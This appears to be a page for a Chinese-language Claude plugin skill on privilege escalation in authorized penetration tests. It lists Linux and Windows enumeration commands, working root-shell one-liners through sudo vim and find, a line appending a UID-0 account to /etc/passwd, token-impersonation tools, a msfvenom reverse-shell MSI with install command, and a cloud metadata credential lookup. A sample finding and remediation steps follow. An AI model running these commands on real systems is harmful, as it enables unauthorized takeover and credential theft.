Performs privilege escalation assessments on compromised Linux and Windows systems, enumerating misconfigurations, vulnerable services, kernel exploits, SUID binaries, unquoted paths, and credentials to gain root/SYSTEM access.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
- 在渗透测试中获得低权限初始访问后，演示完整的系统入侵
Performs privilege escalation assessments on compromised Linux and Windows systems to identify paths to root or SYSTEM via misconfigurations, exploits, SUID binaries, and services. For pentesting post-initial access.
Assesses privilege escalation on compromised Linux/Windows systems by enumerating misconfigurations, kernel exploits, SUID binaries, cron jobs, and credentials to reach root/SYSTEM.
Executes Linux privilege escalation assessments: enumerates kernel, users, services; exploits misconfigurations, SUID binaries, cron jobs for root shell access.
Share bugs, ideas, or general feedback.
不适用场景：未获得书面授权、针对可能导致停机的生产系统进行利用，或在未获事先批准和回滚能力的系统上部署内核漏洞利用。
收集目标系统的全面信息：
Linux 枚举：
id && whoami — 当前用户和组成员身份uname -a — 内核版本（用于识别内核漏洞利用）cat /etc/os-release — 发行版和版本sudo -l — 当前用户可通过 sudo 以 root 身份运行的命令find / -perm -4000 -type f 2>/dev/null — SUID 二进制文件find / -perm -2000 -type f 2>/dev/null — SGID 二进制文件crontab -l && ls -la /etc/cron* — 以 root 身份运行的定时任务ps aux | grep root — 以 root 身份运行的进程cat /etc/passwd — 用户账户（查找 UID 为 0 的其他用户）find / -writable -type d 2>/dev/null — 全局可写目录linpeas.sh 进行自动化全面枚举Windows 枚举：
whoami /priv — 当前用户权限（查找 SeImpersonatePrivilege、SeDebugPrivilege）systeminfo — 操作系统版本、补丁级别、架构wmic service get name,pathname,startmode — 未加引号的服务路径icacls "C:\Program Files" /T — Program Files 中的可写目录reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated — AlwaysInstallElevated 检查cmdkey /list — 存储的 Windows 凭据schtasks /query /fo LIST /v — 计划任务及其运行账户winPEAS.exe 进行自动化全面枚举系统地测试已识别的提升向量：
sudo -l 显示如 (ALL) NOPASSWD: /usr/bin/vim 的条目，使用 GTFOBins 提权：
sudo vim -c ':!/bin/bash' 生成 root shellgetcap -r / 2>/dev/null 查找具有提升能力的二进制文件（cap_setuid、cap_dac_override）echo 'newroot:$1$hash:0:0::/root:/bin/bash' >> /etc/passwd测试 Windows 特定的提升路径：
SeImpersonatePrivilege（服务账户和 IIS 常见）：
JuicyPotato.exe、PrintSpoofer.exe 或 GodPotato.exe 冒充 SYSTEMPrintSpoofer.exe -i -c "cmd /c whoami" -> NT AUTHORITY\SYSTEMC:\Program Files\My App\service.exe），且可写入中间目录：
C:\Program Files\My.exe 放置恶意可执行文件，服务重启时将执行msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f msi -o shell.msimsiexec /quiet /qn /i shell.msicmdkey /list、AutoLogon 注册表键、unattend.xml、web.config 文件和 PowerShell 历史记录中的凭据测试容器化和云环境中的提升路径：
--privileged）、是否挂载了 Docker socket（/var/run/docker.sock）或具有 SYS_ADMIN 能力http://169.254.169.254/latest/meta-data/），发现 IAM 角色、凭据和实例信息记录完整的提权路径和业务影响：
| 术语 | 定义 |
|---|---|
| SUID 二进制 | 设置了 Set User ID 位的 Linux 二进制文件，无论谁运行它，都以文件所有者（通常是 root）的权限执行 |
| SeImpersonatePrivilege | 允许进程冒充其他用户安全令牌的 Windows 权限，服务账户常滥用此权限提升至 SYSTEM |
| 内核漏洞利用 | 针对操作系统内核漏洞的利用程序，可获取 ring-0 或 root/SYSTEM 级别访问权限 |
| GTFOBins | Unix 二进制文件的精选列表，在错误配置时可用于权限提升、文件读写或 shell 逃逸 |
| LOLBAS | 离地攻击二进制文件和脚本；合法的 Windows 二进制文件，可被滥用于代码执行、文件操作或持久化 |
| DLL 劫持 | 利用 Windows 上的 DLL 搜索顺序，通过在合法 DLL 位置之前搜索的目录放置恶意 DLL |
| 令牌冒充 | Windows 技术，具有适当权限的已入侵进程捕获并使用其他用户的访问令牌，以该用户身份执行命令 |
SeImpersonatePrivilege 从服务账户实现 SYSTEM 级访问背景：在渗透测试中，测试人员通过 PHP 文件上传漏洞在 Ubuntu 22.04 Web 服务器上以 www-data 身份获得了低权限 shell。目标是提升至 root 以演示完整的服务器入侵。
方法：
linpeas.sh，发现 www-data 可通过 sudo 无需密码以 root 身份运行 /usr/bin/findsudo -l 确认：(root) NOPASSWD: /usr/bin/findfind 的 sudo 条目：sudo find . -exec /bin/bash -p \; -quit/etc/shadow 提取密码哈希，从应用配置文件读取数据库凭据，并访问包含客户 PII 的 MySQL 数据库常见陷阱：
## 发现：sudo 错误配置允许通过 find 提升至 root
**ID**: PRIV-001
**严重性**: 严重（CVSS 8.8）
**受影响主机**: web-prod-01（10.10.5.15）
**操作系统**: Ubuntu 22.04 LTS
**初始访问**: www-data（通过 PHP 文件上传 — WEB-004）
**提升技术**: MITRE ATT&CK T1548.003 — sudo 和 sudo 缓存
**描述**:
/etc/sudoers 配置允许 www-data 用户无需密码以 root 身份执行 /usr/bin/find。
find 命令支持 -exec 标志，可生成 root shell，实际上赋予 www-data 不受限制的 root 访问权限。
**概念验证**:
www-data@web-prod-01:~$ sudo -l
(root) NOPASSWD: /usr/bin/find
www-data@web-prod-01:~$ sudo find . -exec /bin/bash -p \; -quit
root@web-prod-01:~# id
uid=0(root) gid=0(root) groups=0(root)
**影响**:
对生产 Web 服务器的完整 root 访问权限。测试人员以 root 身份从
/var/www/app/.env 获取了数据库凭据，连接到 MySQL，并确认可读取
包含姓名、邮件和地址的 75,000 条客户记录。
**修复建议**:
1. 移除 www-data 的 /usr/bin/find sudo 条目
2. 若确需 find 访问权限，通过 --no-exec 将其限制在特定目录
3. 审计所有 sudo 条目，检查 GTFOBins 中列出的二进制文件
4. 使用 auditd 为所有特权命令执行实施 sudo 日志记录